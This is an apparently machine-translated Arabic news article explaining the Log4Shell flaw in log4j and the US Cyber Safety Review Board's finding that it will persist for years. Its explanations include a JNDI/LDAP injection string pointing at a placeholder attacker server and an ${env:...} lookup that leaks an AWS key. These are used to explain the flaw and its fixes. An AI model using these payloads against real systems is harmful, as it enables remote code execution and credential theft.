بعد 8 أشهر ، تقول الولايات المتحدة إن Log4Shell سيظل موجودًا "لعقد أو أكثر"

تذكر Log4Shell?

لقد كان خطأً خطيرًا في مجموعة أدوات برمجة جافا مفتوحة المصدر تسمى log4j، اختصار لـ "Logging for Java" ، الذي نشرته مؤسسة Apache Software Foundation بموجب ترخيص مصدر حر وحر.

إذا سبق لك كتابة برنامج من أي نوع ، بدءًا من أبسط ملف BAT على كمبيوتر محمول يعمل بنظام Windows إلى أكبر تطبيق ضخم يعمل على مجموعة كاملة من الخوادم ، فستستخدم أوامر التسجيل.

من الناتج الأساسي مثل echo "Starting calculations (this may take a while)" مطبوعًا على الشاشة ، وصولاً إلى الرسائل الرسمية المحفوظة في قاعدة بيانات مكتوبة لمرة واحدة لأسباب تتعلق بالتدقيق أو الامتثال ، يعد التسجيل جزءًا حيويًا من معظم البرامج ، خاصةً عند تعطل شيء ما وتحتاج إلى سجل واضح للمدى الذي وصلت إليه بالضبط من قبل ضربت المشكلة.

Log4Shell الضعف (في الواقع ، اتضح أن هناك العديد من المشكلات ذات الصلة ، لكننا سنتعامل معها جميعًا كما لو كانت مشكلة واحدة كبيرة هنا ، من أجل البساطة) تبين أنها نصف خطأ ، ونصف ميزة.

بعبارة أخرى ، نفذ Log4j ما قاله في الدليل ، على عكس الخطأ في مثل هذا تجاوز سعة المخزن المؤقت ، حيث يحاول البرنامج المسيء بشكل غير صحيح العبث بالبيانات التي وعد أنه سيتركها بمفرده ...

... ولكن ما لم تكن قد قرأت الدليل بعناية ، واتخذت احتياطات إضافية بنفسك عن طريق إضافة طبقة من التحقق الدقيق من المدخلات أعلى Log4j ، فقد يتعطل برنامجك.

حقا ، سيئة للغاية ، تماما.

يعتبر الاستيفاء ضارًا

ببساطة ، لم يقم Log4j دائمًا بتسجيل رسائل السجل تمامًا كما قدمتها لهم.

بدلاً من ذلك ، كان لديه "ميزة" معروفة بشكل مختلف ومربك في المصطلحات باسم إقحام, استبدال الأمر or إعادة الكتابة التلقائية، بحيث يمكنك تشغيل ميزات معالجة النص داخل أداة التسجيل نفسها ، دون الحاجة إلى كتابة رمز خاص خاص بك للقيام بذلك.

على سبيل المثال ، سيتم تسجيل النص الموجود في عمود INPUT أدناه حرفيًا ، تمامًا كما تراه ، وهو على الأرجح ما تتوقعه من مجموعة أدوات التسجيل ، خاصةً إذا كنت تريد الاحتفاظ بسجل دقيق لبيانات الإدخال التي قدمها المستخدمون لأسباب تنظيمية:

INPUT OUTCOME ----------------------- ------------------------ اسم المستخدم = duck -> USERNAME = duck Caller-ID: 555-555-5555 -> Caller-ID: 555-555-5555 الإصدار الحالي = 17.0.1 -> الإصدار الحالي = 17.0.1

ولكن إذا قدمت نصًا ملفوفًا في تسلسل الأحرف السحري ${...}، يقوم المسجل أحيانًا بأشياء ذكية به ، بعد تلقي النص ولكن قبل الكتابة فعليًا في ملف السجل ، مثل هذا:

ناتج الإدخال ---------------------------------- -------------- ----------------------------- CURRENT = $ {java: version} / $ {java: os} -> CURRENT = إصدار Java 17.0.1 / Windows 10 10.0 حساب الخادم هو: $ {env: USER} -> حساب الخادم هو: root $ {env: AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

من الواضح ، إذا كنت تقبل تسجيل نص من مصدر موثوق ، حيث يكون من المعقول السماح للمسجل بالتحكم في المسجل عن طريق إخباره باستبدال النص العادي بالبيانات الداخلية ، فإن هذا النوع من إعادة كتابة النص مفيد.

ولكن إذا كان هدفك هو تتبع البيانات المقدمة من مستخدم بعيد ، ربما لأغراض حفظ السجلات التنظيمية ، فإن هذا النوع من إعادة الكتابة التلقائية يمثل خطورة مضاعفة:

• في حالة وجود نزاع ، ليس لديك سجل موثوق لما أرسله المستخدم بالفعل ، نظرًا لأنه ربما تم تعديله بين الإدخال والإخراج.
• يمكن للمستخدم الضار إرسال مدخلات تم إنشاؤها بشكل خفي من أجل استفزاز الخادم الخاص بك للقيام بشيء لم يكن من المفترض أن يفعله.

إذا كنت تقوم بتسجيل مدخلات المستخدم مثل سلسلة تعريف المتصفح ، فقل (المعروف في المصطلحات باسم User-Agent) ، أو اسم المستخدم أو رقم الهاتف الخاص بهم ، فأنت لا تريد منح المستخدم فرصة لخداعك لكتابة بيانات خاصة (مثل سلسلة كلمة مرور للذاكرة فقط مثل AWS_ACCESS_KEY_ID في المثال أعلاه) في ملف سجل دائم.

خاصة إذا أخبرت المدققين أو المنظمين بثقة أنك لا تكتب أبدًا كلمات مرور ذات نص عادي في التخزين الدائم. (أنت لا ينبغي أن تفعل هذا، حتى لو لم تخبر المنظم رسميًا أنك لا تفعل ذلك!)

الأسوأ أن يأتي

في حالة Log4Shell is-it-a-bug-or-is-it-a-feature ، ومع ذلك ، كانت الأمور أسوأ بكثير من الأمثلة المحفوفة بالمخاطر بالفعل التي أظهرناها أعلاه.

على سبيل المثال ، يمكن للمستخدم الذي أرسل بيانات عمدًا مثل الإدخال الموضح أدناه أن يؤدي إلى سلسلة خطيرة من الأحداث:

ناتج الإدخال ------------------------------------------------ ---------------------------------------- $ {jndi: ldap: // dodgy. server.example: 8888 / BadThing} -> قم بتنزيل وتشغيل برنامج Java عن بعد !؟

في سلسلة "الاستيفاء" أعلاه ، فإن ملف ${...} تسلسل الأحرف الذي يتضمن الاختصارات jndi و ldap أخبر Log4j أن يفعل هذا:

• استخدم Java Naming and Directory Interface (JNDI) لتحديد موقع dodgy.server.example على الانترنت.
• اتصل بهذا الخادم عبر LDAP ، باستخدام منفذ TCP 8888.
• اطلب البيانات المخزنة في كائن LDAP BadThing.

بعبارة أخرى ، يمكن للمهاجمين إرسال مدخلات مصنوعة خصيصًا من شأنها توجيه الخادم الخاص بك إلى "الاتصال بالمنزل" إلى خادم تحت سيطرتهم، دون إجازة.

كيف يمكن أن تكون هذه "ميزة"؟

قد تتساءل عن كيفية وصول "ميزة" مثل هذه إلى رمز Log4j.

لكن هذا النوع من إعادة كتابة النص يمكن أن يكون مفيدًا ، طالما أنك تقوم بتسجيل البيانات من مصدر موثوق.

على سبيل المثال ، يمكنك تسجيل معرف مستخدم رقمي ، ولكن أيضًا اطلب من المسجل استخدام LDAP (ملف بروتوكول الوصول الى الدليل خفيف الوزن، المستخدمة على نطاق واسع في الصناعة ، بما في ذلك عن طريق نظام Microsoft Active Directory) لاسترداد وحفظ اسم المستخدم المرتبط برقم الحساب هذا في ذلك الوقت.

سيؤدي هذا إلى تحسين كل من سهولة القراءة والقيمة التاريخية للإدخال في ملف السجل.

لكن خادم LDAP الذي دعا إليه Log4j في المثال أعلاه (والذي تم اختياره من قبل المستخدم البعيد ، لا تنسى) من غير المرجح أن يعرف الحقيقة ، ناهيك عن إخبارها ، وبالتالي يمكن لمستخدم ضار استخدام هذه الخدعة. سجلاتك التي تحتوي على بيانات زائفة وحتى مشكوك فيها من الناحية القانونية.

بل أسوأ من ذلك ، خادم LDAP يمكن إرجاع كود Java مترجم مسبقًا لتوليد البيانات المراد تسجيلها، وسيعمل الخادم الخاص بك على تشغيل هذا البرنامج - وهو برنامج غير معروف ، يتم توفيره بواسطة خادم غير موثوق به ، ويختاره مستخدم غير موثوق به.

بشكل فضفاض ، إذا كان هناك أي خادم ، في أي مكان في شبكتك ، قام بتسجيل الإدخال غير الموثوق به والذي جاء من الخارج ، واستخدم Log4j للقيام بذلك ...

... ثم يمكن استخدام هذا الإدخال كطريقة مباشرة وفورية لخداع الخادم الخاص بك لتشغيل رمز شخص آخر ، تمامًا مثل هذا.

وهذا ما يسمى RCE في المصطلحات ، باختصار تنفيذ التعليمات البرمجية عن بعد، و RCE bugs بشكل عام هي الأكثر بحثًا عن مجرمي الإنترنت لأنه يمكن استغلالها عادةً لزرع البرامج الضارة تلقائيًا.

لسوء الحظ ، فإن طبيعة هذا الخطأ تعني أن الخطر لم يقتصر على الخوادم التي تواجه الإنترنت ، لذا فإن استخدام خوادم الويب المكتوبة بلغة C ، وليس Java (مثل IIS ، و Apache https ، و nginx) ، وبالتالي لم يستخدموا عربات التي تجرها الدواب. كود Log4j لم يحررك من المخاطر.

نظريًا ، أي تطبيق Java خلفي تلقى البيانات وسجلها من أي مكان آخر على شبكتك ، واستخدم مكتبة Log4j ...

... يمكن الوصول إليها واستغلالها من قبل المهاجمين الخارجيين.

كان الإصلاح واضحًا جدًا:

• ابحث عن الإصدارات القديمة من Log4j في أي مكان وفي كل مكان في شبكتك. عادةً ما تحتوي وحدات Java النمطية على أسماء مثل log4j-api-2.14.0.jar و log4j-core-2.14.0.jar، حيث jar هو اختصار ل أرشيف جافا، وهو نوع منظم بشكل خاص من ملفات ZIP. مع بادئة قابلة للبحث ، وامتداد نهائي ، ورقم الإصدار المضمن في اسم الملف ، فإن العثور بسرعة على الملفات المخالفة ذات الإصدارات "الخاطئة" من كود مكتبة Java أمر سهل إلى حد ما.
• استبدال إصدارات عربات التي تجرها الدواب مع أحدث ، مصححة.
• إذا لم تكن في وضع يسمح لك بتغيير إصدار Log4J ، يمكنك تقليل المخاطر أو إزالتها عن طريق إزالة وحدة رمز واحدة من حزمة عربات التي تجرها الدواب Log4j (رمز Java الذي تعامل مع عمليات بحث JNDI ، كما هو موضح أعلاه) ، وإعادة تجميع ملف JAR النحيف الخاص بك مع إخفاء الخطأ.

تستمر الملحمة

لسوء الحظ ، تقرير مفصل على ملحمة Log4Shell ، التي نشرتها الولايات المتحدة الأسبوع الماضي مجلس مراجعة الأمن السيبراني (CSRB) ، وهي جزء من وزارة الأمن الداخلي ، تحتوي على اقتراح مقلق (تأكيدنا أدناه) وهو:

لم ينته حدث Log4j. يقيّم [CSRB] أن Log4j هي ​​"ثغرة أمنية مستوطنة" وأن الحالات الضعيفة من Log4j ستبقى في الأنظمة لسنوات عديدة قادمة ، ربما عقد أو أكثر. لا يزال هناك خطر كبير.

ماذا ستفعلين.. إذًا؟

في 42 صفحة (يمتد الملخص التنفيذي وحده إلى ثلاث صفحات تقريبًا) ، فإن ملف تقرير مجلس الإدارة هي وثيقة طويلة ، وأجزاء منها ثقيلة.

لكننا نوصي بقراءتها ، لأنها حكاية رائعة عن كيفية تجاهل مشكلات الأمن السيبراني التي يجب أن تكون سريعة وسهلة الإصلاح ، أو تأجيلها إلى وقت لاحق ، أو رفضها تمامًا مثل "شخص آخر مشكلة "لإصلاحها.

تشمل الاقتراحات البارزة من الخدمة العامة الأمريكية ، والتي نؤيدها بكل إخلاص ، ما يلي:

• تطوير القدرة على الاحتفاظ بأصول دقيقة لتكنولوجيا المعلومات (IT) ومخزون للتطبيق.
• [إعداد] موثقة برنامج الاستجابة للضعف.
• [إعداد] الكشف عن الثغرات الأمنية وعملية التعامل معها.

عندما يتعلق الأمر بالأمن السيبراني ، لا تسأل عما يمكن لأي شخص آخر فعله من أجلك ...

... لكن فكر فيما يمكنك القيام به لنفسك ، لأن أي تحسينات تجريها ستكون بالتأكيد يستفيد الجميع كذلك.

---

[المحتوى جزءا لا يتجزأ]

---